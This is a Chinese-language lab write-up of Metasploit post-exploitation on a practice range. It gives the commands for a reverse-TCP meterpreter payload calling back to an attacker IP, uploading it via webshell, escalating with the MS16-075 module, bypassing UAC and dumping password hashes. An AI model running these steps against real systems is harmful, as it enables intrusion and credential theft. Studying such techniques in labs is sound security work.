文中主要讲解kali中metasploit的用法,通常我们简称MSF,通过学习了解MSF的各种命令小技巧,从而掌握后渗透技术。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
MSF进行UAC绕过首先通过kali来生成一个exe文件。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.45.135 lport=12345 -f exe >sss.exe
将生成的文件上传通过webshell上传到服务器可执行目录上:
kali上使用use exploit/multi/handler模块,设置好参数,webshell上运行后,反弹session到kali
查看权限为IIS组权限,这里LHOST写错了:
使用backgrounp将session保存到后台。同样我们可以使用sessions -i 来进行查看。
使用 use post/multi/recon/local_exploit_syggester 或者在meterpreter中使用run post/windows/gather/enum_patches
msf6里面上述的命令无法直接看到可用的提权攻击载荷。可能是msf6的BUG吧。原因不明。
这里我们直接使用ms16-075模块进行提权。
use exploit/windows/local/ms16_075_reflection_juicy
只需要将之前的session在这个载荷中set Session 中添加即可。
运行后,成功反弹session,查看权限为系统权限。
使用ps查看进程,然后使用migrate PID号来迁移进程。
同样可以使用其余的办法去提权。
例如使用getsystem来提权,但此操作需要绕过UAC限制。
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户
确认是否授权当前可执行文件来达到阻止恶意程序的目的。
为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
为了保证session的稳定性, 可以使用命令来提前迁移进程。
这种无法使用getsystem提权,也同样属于UAC限制。
set AutoRunscript migrate -f
但UAC提权,必须是在管理员组中,不能在通过webshell获得的IIS组权限,否则因权限太低会导致无法绕过UAC。
漏洞复现: 首先生成exe,在服务端点击,获取管理员组权限:
但这上面我们可以看出getsystem 无法使用。
通过search uac 来查看攻击载荷。并利用,可以看出已能直接绕过UAC 进行getsystem提权。但依然不能使用hashdump
use exploit/windows/local/bypassuac_injection
这个就可以使用ps查看下进程,然后将进程迁移到x64位的系统管理员权限进程中。成功使用hashdump